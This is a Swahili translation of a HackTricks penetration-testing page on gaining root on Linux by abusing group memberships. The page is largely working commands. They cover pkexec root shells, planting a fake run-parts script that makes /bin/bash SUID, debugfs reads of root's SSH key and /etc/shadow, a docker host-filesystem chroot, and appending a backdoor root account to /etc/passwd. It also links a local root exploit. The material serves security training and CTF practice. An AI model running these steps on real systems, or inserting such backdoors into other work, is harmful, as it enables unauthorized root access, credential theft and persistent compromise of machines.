| .. | ||
| lxd-privilege-escalation.md | ||
| README.md | ||
Vikundi Vinavyovutia - Linux Privesc
{% hint style="success" %}
Jifunze na zoezi la AWS Hacking:
Mafunzo ya HackTricks AWS Red Team Expert (ARTE)
Jifunze na zoezi la GCP Hacking: 
Mafunzo ya HackTricks GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
Vikundi vya Sudo/Admin
PE - Mbinu ya 1
Marafiki, kwa chaguo-msingi (au kwa sababu fulani ya programu inahitaji) ndani ya faili ya /etc/sudoers unaweza kupata mistari hii:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
Hii inamaanisha kwamba mtumiaji yeyote ambaye ni mwanachama wa kikundi cha sudo au admin anaweza kutekeleza chochote kama sudo.
Ikiwa hii ndiyo hali, kwa kuwa root unaweza tu kutekeleza:
sudo su
PE - Mbinu 2
Pata binaries zote za suid na angalia kama kuna binary Pkexec:
find / -perm -4000 2>/dev/null
Ikiwa utagundua kwamba binary pkexec ni binary ya SUID na wewe ni mwanachama wa sudo au admin, labda unaweza kutekeleza binaries kama sudo ukitumia pkexec.
Hii ni kwa sababu kwa kawaida hizo ni makundi ndani ya sera ya polkit. Sera hii kimsingi inatambua ni makundi gani yanaweza kutumia pkexec. Angalia hivyo kwa:
cat /etc/polkit-1/localauthority.conf.d/*
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza pkexec na kwa chaguo-msingi katika baadhi ya disctros za linux vikundi sudo na admin vinatokea.
Kuwa root unaweza kutekeleza:
pkexec "/bin/sh" #You will be prompted for your user password
Ikiwa unajaribu kutekeleza pkexec na unapata kosa hili:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
Si kwa sababu huna ruhusa bali ni kwa sababu hujahusishwa bila GUI. Na kuna njia ya kupita katika tatizo hili hapa: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Unahitaji vikao vya ssh 2 tofauti:
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% endcode %}
{% code title="kikao2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Kikundi cha Gari
Wakati mwingine, kwa chaguo-msingi ndani ya faili ya /etc/sudoers unaweza kupata mstari huu:
%wheel ALL=(ALL:ALL) ALL
Hii inamaanisha kwamba mtumiaji yeyote ambaye ni mwanachama wa kikundi cha wheel anaweza kutekeleza chochote kama sudo.
Ikiwa hii ndiyo hali, kwa kuwa mtumiaji wa mizizi unaweza tu kutekeleza:
sudo su
Kikundi cha Shadow
Watumiaji kutoka kwa kikundi cha shadow wanaweza kusoma faili ya /etc/shadow:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
Jadi, soma faili na jaribu kuvunja baadhi ya hashes.
Kikundi cha Wafanyakazi
staff: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (/usr/local) bila kuhitaji mamlaka ya mzizi (kumbuka kwamba programu zinazoweza kutekelezwa katika /usr/local/bin zimo kwenye kifaa cha PATH cha mtumiaji yeyote, na wanaweza "kubadilisha" programu zinazoweza kutekelezwa katika /bin na /usr/bin zenye jina sawa). Linganisha na kikundi "adm", ambacho kina uhusiano zaidi na ufuatiliaji/usalama. [chanzo]
Katika usambazaji wa debian, $PATH inaonyesha kuwa /usr/local/ itatekelezwa kwa kipaumbele cha juu, iwe wewe ni mtumiaji aliye na mamlaka au la.
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Kama tunaweza kuchukua udhibiti wa baadhi ya programu katika /usr/local, tunaweza kwa urahisi kupata mizizi.
Kuchukua udhibiti wa programu ya run-parts ni njia rahisi ya kupata mizizi, kwa sababu programu nyingi zitaruhusu run-parts kama (crontab, wakati wa kuingia kwa ssh).
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
Au Wakati wa kuingia kwa kikao kipya cha ssh.
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
Tumia Kwa Mbinu ya Kudhibiti
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
Kikundi cha Diski
Haki hii ni karibu sawa na ufikiaji wa root kwa sababu unaweza kupata data yote ndani ya mashine.
Faili: /dev/sd[a-z][1-9]
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Tafadhali kumbuka kwamba kutumia debugfs unaweza pia kuandika faili. Kwa mfano, ili kuiga /tmp/asd1.txt kwenda /tmp/asd2.txt unaweza kufanya:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
Hata hivyo, ikiwa unajaribu kuandika faili zinazomilikiwa na root (kama vile /etc/shadow au /etc/passwd) utapata kosa la "Ruhusa imekataliwa".
Kikundi cha Video
Kwa kutumia amri w unaweza kupata nani ameingia kwenye mfumo na itaonyesha matokeo kama yafuatayo:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1 inamaanisha kuwa mtumiaji yossi ameingia kimwili kwenye terminal kwenye mashine.
Kikundi cha video kina ufikivu wa kuona matokeo ya skrini. Kimsingi unaweza kuchunguza skrini. Ili kufanya hivyo unahitaji kunasa picha ya sasa kwenye skrini kwa data ghafi na kupata azimio linalotumiwa na skrini hiyo. Data ya skrini inaweza kuokolewa kwenye /dev/fb0 na unaweza kupata azimio la skrini hii kwenye /sys/class/graphics/fb0/virtual_size
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Kufungua picha ya raw unaweza kutumia GIMP, chagua faili ya **screen.raw ** na chagua aina ya faili Raw image data:
Kisha badilisha Upana na Urefu kwa wale wanaotumiwa kwenye skrini na angalia Aina tofauti za Picha (na chagua ile inayoonyesha vizuri skrini):
Kikundi cha Root
Inaonekana kwa chaguo-msingi wanachama wa kikundi cha root wanaweza kupata ufikiaji wa kurekebisha baadhi ya faili za usanidi wa huduma au baadhi ya faili za maktaba au vitu vingine vya kuvutia ambavyo vinaweza kutumika kwa kukuza mamlaka...
Angalia ni faili gani wanachama wa root wanaweza kurekebisha:
find / -group root -perm -g=w 2>/dev/null
Kikundi cha Docker
Unaweza kufunga mfumo wa faili wa mzizi wa kompyuta mwenyeji kwa kiasi cha kifaa, hivyo wakati kifaa kinaanza mara moja hupakia chroot kwenye kiasi hicho. Hii kimsingi inakupa mizizi kwenye kompyuta.
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
Kikundi cha lxc/lxd
{% content-ref url="./" %} . {% endcontent-ref %}
Kikundi cha Adm
Kawaida wanachama wa kikundi cha adm wana ruhusa ya kusoma faili za logi zilizopo ndani ya /var/log/.
Hivyo, ikiwa umefanikiwa kudukua mtumiaji ndani ya kikundi hiki unapaswa bila shaka kuangalia kwenye logi.
Kikundi cha Auth
Ndani ya OpenBSD kikundi cha auth kawaida kinaweza kuandika kwenye folda /etc/skey na /var/db/yubikey ikiwa zinatumika.
Ruhusa hizi zinaweza kutumiwa vibaya na shambulio lifuatalo kwa lengo la kuinua mamlaka hadi kwa mtumiaji wa root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot